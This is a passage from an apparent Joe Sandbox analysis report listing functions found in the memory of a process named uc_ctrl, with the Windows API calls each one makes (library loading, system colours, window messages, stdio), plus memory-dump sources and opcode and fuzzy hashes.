                                                                                              • API ID: Pointer$AddressDecodeEncodeHandleModuleProc
                                                                                              • String ID: TaskDialogIndirect$comctl32.dll
                                                                                              • API String ID: 2061474489-2809879075
                                                                                              • Opcode ID: 220e28e2716be9089da6936e87e70b91145f1a967c38f6b36f425b831abee4b7
                                                                                              • Instruction ID: f968e4c4da6198903fdf206627ff161bf305c4856a7ca26ddb85ec4a5e3d3ddf
                                                                                              • Opcode Fuzzy Hash: 220e28e2716be9089da6936e87e70b91145f1a967c38f6b36f425b831abee4b7
                                                                                              • Instruction Fuzzy Hash: BDF0B436501215BBEF01AF64EC08BAB3FBDAB0D7643108020FD08D7610DB30E8018BA1
                                                                                              Function 6CF91D11 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 33libraryloaderCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetModuleHandleW.KERNEL32(kernel32.dll,?,?,6CF8B5C3,?,?), ref: 6CF91D23
                                                                                              • GetProcAddress.KERNEL32(00000000,RegisterApplicationRestart), ref: 6CF91D33
                                                                                              • EncodePointer.KERNEL32(00000000,?,?,6CF8B5C3,?,?), ref: 6CF91D3C
                                                                                              • DecodePointer.KERNEL32(00000000,?,?,6CF8B5C3,?,?), ref: 6CF91D4A
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Pointer$AddressDecodeEncodeHandleModuleProc
                                                                                              • String ID: RegisterApplicationRestart$kernel32.dll
                                                                                              • API String ID: 2061474489-1259503209
                                                                                              • Opcode ID: 145c28d721a9fb5ce395bd48ee0aaceca0fc021dace11252a51a276c2811999f
                                                                                              • Instruction ID: cd5039b9c05a25e8d2da9788e5432b4332593566017ab37c4a47446641923679
                                                                                              • Opcode Fuzzy Hash: 145c28d721a9fb5ce395bd48ee0aaceca0fc021dace11252a51a276c2811999f
                                                                                              • Instruction Fuzzy Hash: FCF0A739D41215ABAF125B65AC0CB6E3FBC9B0E7A57108036FD05D7660DF74D8018AE1
                                                                                              Function 6CF91970 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 33libraryloaderCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetModuleHandleW.KERNEL32(uxtheme.dll), ref: 6CF91982
                                                                                              • GetProcAddress.KERNEL32(00000000,EndBufferedPaint), ref: 6CF91992
                                                                                              • EncodePointer.KERNEL32(00000000), ref: 6CF9199B
                                                                                              • DecodePointer.KERNEL32(00000000), ref: 6CF919A9
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Pointer$AddressDecodeEncodeHandleModuleProc
                                                                                              • String ID: EndBufferedPaint$uxtheme.dll
                                                                                              • API String ID: 2061474489-2993015961
                                                                                              • Opcode ID: 4a1d3428b97a75c22b915e1469a8c2f3875769000ff76c16ccb100b4a94ec38c
                                                                                              • Instruction ID: 9864c0b4ca3769e875658468f0bc3d9d74367da5e26a534f53a45bfa66e6c4d7
                                                                                              • Opcode Fuzzy Hash: 4a1d3428b97a75c22b915e1469a8c2f3875769000ff76c16ccb100b4a94ec38c
                                                                                              • Instruction Fuzzy Hash: 55F0A735D41215ABAF215B65EC0CB5A3EFC9B0A7A53508031FC4AD7210DB74D8418AE2
                                                                                              Function 6CF915B8 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 33libraryloaderCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetModuleHandleW.KERNEL32(user32.dll), ref: 6CF915CA
                                                                                              • GetProcAddress.KERNEL32(00000000,ChangeWindowMessageFilter), ref: 6CF915DA
                                                                                              • EncodePointer.KERNEL32(00000000), ref: 6CF915E3
                                                                                              • DecodePointer.KERNEL32(00000000), ref: 6CF915F1
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Pointer$AddressDecodeEncodeHandleModuleProc
                                                                                              • String ID: ChangeWindowMessageFilter$user32.dll
                                                                                              • API String ID: 2061474489-2498399450
                                                                                              • Opcode ID: 0f0756237ad3eb9423e94119943522829fdda5fa02e0728cec793971f7df89bc
                                                                                              • Instruction ID: 4047c0cf606a39dcebc437bc2d9e207464db8e7c605033904ba895b10939018c
                                                                                              • Opcode Fuzzy Hash: 0f0756237ad3eb9423e94119943522829fdda5fa02e0728cec793971f7df89bc
                                                                                              • Instruction Fuzzy Hash: DAF0A735A05225AFBF115BB6AD0CB5A3FBD9B096B53148431FC05D3210EF70D501CAE2
                                                                                              Function 6CF91451 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 32libraryloaderCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetModuleHandleW.KERNEL32(kernel32.dll,?,?,6CF8A892,00000000,00000000,?,?,80070057), ref: 6CF91463
                                                                                              • GetProcAddress.KERNEL32(00000000,ApplicationRecoveryInProgress), ref: 6CF91473
                                                                                              • EncodePointer.KERNEL32(00000000,?,?,6CF8A892,00000000,00000000,?,?,80070057), ref: 6CF9147C
                                                                                              • DecodePointer.KERNEL32(00000000,?,?,6CF8A892,00000000,00000000,?,?,80070057), ref: 6CF9148A
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Pointer$AddressDecodeEncodeHandleModuleProc
                                                                                              • String ID: ApplicationRecoveryInProgress$kernel32.dll
                                                                                              • API String ID: 2061474489-2899047487
                                                                                              • Opcode ID: 8a637972b0c8f1d095b3b49597294f5edca45e01a317a8bba9db32e2c20a7abe
                                                                                              • Instruction ID: 4519c534a28717f24adf84b7338595b16cfd78f01fb008e076803ff897367992
                                                                                              • Opcode Fuzzy Hash: 8a637972b0c8f1d095b3b49597294f5edca45e01a317a8bba9db32e2c20a7abe
                                                                                              • Instruction Fuzzy Hash: 8BF0A735941211AFAF0197A8E808B6E3ABC5A4F775325C525FD0AD7200DB64C8018AE2
                                                                                              Function 6CF91C11 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 29libraryloaderCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetModuleHandleW.KERNEL32(shell32.dll), ref: 6CF91C20
                                                                                              • GetProcAddress.KERNEL32(00000000,InitNetworkAddressControl), ref: 6CF91C30
                                                                                              • EncodePointer.KERNEL32(00000000), ref: 6CF91C39
                                                                                              • DecodePointer.KERNEL32(00000000), ref: 6CF91C47
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Pointer$AddressDecodeEncodeHandleModuleProc
                                                                                              • String ID: InitNetworkAddressControl$shell32.dll
                                                                                              • API String ID: 2061474489-1950653938
                                                                                              • Opcode ID: 1c8ccee1ebe7c5b89da3b9246fc4b52d4d864fb76fedd5fceb30085b1e3db830
                                                                                              • Instruction ID: 49a2c4ae2e743a2a21f014d4b00f7d16eddde5a36998f01f4072ef5d707d2e52
                                                                                              • Opcode Fuzzy Hash: 1c8ccee1ebe7c5b89da3b9246fc4b52d4d864fb76fedd5fceb30085b1e3db830
                                                                                              • Instruction Fuzzy Hash: CCE09B75E0A6215FBE119B74BA0C79A3BB95B4D6653114061FC11E3144DB34CC0285A2
                                                                                              Function 6CF91564 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 29libraryloaderCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetModuleHandleW.KERNEL32(uxtheme.dll), ref: 6CF91573
                                                                                              • GetProcAddress.KERNEL32(00000000,BufferedPaintUnInit), ref: 6CF91583
                                                                                              • EncodePointer.KERNEL32(00000000), ref: 6CF9158C
                                                                                              • DecodePointer.KERNEL32(00000000), ref: 6CF9159A
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Pointer$AddressDecodeEncodeHandleModuleProc
                                                                                              • String ID: BufferedPaintUnInit$uxtheme.dll
                                                                                              • API String ID: 2061474489-1501038116
                                                                                              • Opcode ID: 12b78a79de99530a9fd20eb300d28c2b0442e9a62843cd50490dff3d3f044796
                                                                                              • Instruction ID: b41cf0179c90a2a1d4c9e8f86debf918d4b4ae8ba2a401e0b73a7001bd66a4e6
                                                                                              • Opcode Fuzzy Hash: 12b78a79de99530a9fd20eb300d28c2b0442e9a62843cd50490dff3d3f044796
                                                                                              • Instruction Fuzzy Hash: 79E09B75D427216BAF50A774B80C76E39BC5B097643524125FD07D7214DB24C842C9E2
                                                                                              Function 6CF91510 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 29libraryloaderCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetModuleHandleW.KERNEL32(uxtheme.dll), ref: 6CF9151F
                                                                                              • GetProcAddress.KERNEL32(00000000,BufferedPaintInit), ref: 6CF9152F
                                                                                              • EncodePointer.KERNEL32(00000000), ref: 6CF91538
                                                                                              • DecodePointer.KERNEL32(00000000), ref: 6CF91546
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Pointer$AddressDecodeEncodeHandleModuleProc
                                                                                              • String ID: BufferedPaintInit$uxtheme.dll
                                                                                              • API String ID: 2061474489-1331937065
                                                                                              • Opcode ID: 44f65138f4905bc8eeb068f98282fd940941890a8638abe49c39709ede085994
                                                                                              • Instruction ID: 02388a11701eb905707159b59508804241342f680a676c28ab98e8976712da04
                                                                                              • Opcode Fuzzy Hash: 44f65138f4905bc8eeb068f98282fd940941890a8638abe49c39709ede085994
                                                                                              • Instruction Fuzzy Hash: F3E09B76A02221ABEF1097747C0C76D3AB85B4A6653138025FD16D3140DB34C8428EA2
                                                                                              Function 6CF91C62 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 28libraryloaderCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetModuleHandleW.KERNEL32(comctl32.dll), ref: 6CF91C71
                                                                                              • GetProcAddress.KERNEL32(00000000,TaskDialogIndirect), ref: 6CF91C81
                                                                                              • EncodePointer.KERNEL32(00000000), ref: 6CF91C8A
                                                                                              • DecodePointer.KERNEL32(00000000), ref: 6CF91C98
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Pointer$AddressDecodeEncodeHandleModuleProc
                                                                                              • String ID: TaskDialogIndirect$comctl32.dll
                                                                                              • API String ID: 2061474489-2809879075
                                                                                              • Opcode ID: 1eb93901ff81091f9f66c3179d065da88bd72c4b6db24e69044985cab2f6b827
                                                                                              • Instruction ID: 956af0f09246d0e16006abc3194049d57c25dc243e9911a6652b8231cf4a71c0
                                                                                              • Opcode Fuzzy Hash: 1eb93901ff81091f9f66c3179d065da88bd72c4b6db24e69044985cab2f6b827
                                                                                              • Instruction Fuzzy Hash: E9E04836D06621AFFF41DB75F90C7B63BBC9B4A6653118571FC15E2100DB78C80285A1
                                                                                              Function 6CF9DB5B Relevance: 10.5, APIs: 7, Instructions: 25COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetSysColor.USER32(0000000F), ref: 6CF9DB60
                                                                                              • GetSysColor.USER32(00000010), ref: 6CF9DB6B
                                                                                              • GetSysColor.USER32(00000014), ref: 6CF9DB76
                                                                                              • GetSysColor.USER32(00000012), ref: 6CF9DB81
                                                                                              • GetSysColor.USER32(00000006), ref: 6CF9DB8C
                                                                                              • GetSysColorBrush.USER32(0000000F), ref: 6CF9DB97
                                                                                              • GetSysColorBrush.USER32(00000006), ref: 6CF9DBA2
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Color$Brush
                                                                                              • String ID:
                                                                                              • API String ID: 2798902688-0
                                                                                              • Opcode ID: b4c64edaad59a4dca8ee00a820fffeb86748bf699a9098db6622ddca2b219e2a
                                                                                              • Instruction ID: 0fb2fc89b01b16a54aa07189ce78b7e1d7eb54d5e5b549eb00658968db2c0101
                                                                                              • Opcode Fuzzy Hash: b4c64edaad59a4dca8ee00a820fffeb86748bf699a9098db6622ddca2b219e2a
                                                                                              • Instruction Fuzzy Hash: C9F098719417409FDB21AFB1A64D746FAB0BB1DB21F10492DEA86CBB80E7B6A0409F01
                                                                                              Function 6CFA7A45 Relevance: 9.2, APIs: 6, Instructions: 155windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CFA7A4C
                                                                                              • CoTaskMemFree.OLE32(?,000000FF,?), ref: 6CFA7B18
                                                                                              • GetParent.USER32(?), ref: 6CFA7B93
                                                                                              • SendMessageW.USER32(?,00000464,00000104,00000000), ref: 6CFA7BA9
                                                                                              • GetParent.USER32(?), ref: 6CFA7BDB
                                                                                              • SendMessageW.USER32(?,00000465,00000104,00000000), ref: 6CFA7BF1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: MessageParentSend$FreeH_prolog3Task
                                                                                              • String ID:
                                                                                              • API String ID: 526180827-0
                                                                                              • Opcode ID: a2a612011bc6f027835bf5acd5d7312d4f0042ab87c570b6d89804fee79ebcb0
                                                                                              • Instruction ID: 46cf937a4ac9e742125c93c0085f84b026dfe44b68d961d11ee0291207f5834a
                                                                                              • Opcode Fuzzy Hash: a2a612011bc6f027835bf5acd5d7312d4f0042ab87c570b6d89804fee79ebcb0
                                                                                              • Instruction Fuzzy Hash: 7451A071A0111AEFDF04DFA4CC40EAEB779FF04358B110659E562A76E4DB30AC05CBA5
                                                                                              Function 6CEE4F00 Relevance: 9.1, APIs: 6, Instructions: 145COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6CEE4F07
                                                                                              • fgetc.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000030), ref: 6CEE4F5B
                                                                                              • fgetc.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000,?,?,?,?,?,00000030), ref: 6CEE5050
                                                                                              • ungetc.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,00000030), ref: 6CEE5084
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: fgetc$H_prolog3_ungetc
                                                                                              • String ID:
                                                                                              • API String ID: 744725181-0
                                                                                              • Opcode ID: 983a7e912fab8f232db95d63f7f682508e28586e1b2fed3ddb06bae85203e0d1
                                                                                              • Instruction ID: 394e6e2b3170f1890e3d92e584bea8458c00bbc2a1a3aae18fc8e8c449c2ae31
                                                                                              • Opcode Fuzzy Hash: 983a7e912fab8f232db95d63f7f682508e28586e1b2fed3ddb06bae85203e0d1
                                                                                              • Instruction Fuzzy Hash: FC518131A16209DFCF14CFA4C4909EDB7B5FF49368F28162EE102A7B80DB71A945CB91
                                                                                              Function 6CFC0AD3 Relevance: 9.1, APIs: 6, Instructions: 140windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • SendMessageW.USER32(?,00000100,?,00000000), ref: 6CFC0B5A
                                                                                              • SendMessageW.USER32(?,0000020A,?,?), ref: 6CFC0BDD
                                                                                              • IsWindow.USER32(?), ref: 6CFC0C02
                                                                                              • ClientToScreen.USER32(?,?), ref: 6CFC0C13
                                                                                              • IsWindow.USER32(?), ref: 6CFC0C30
                                                                                              • ClientToScreen.USER32(?,?), ref: 6CFC0C63
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
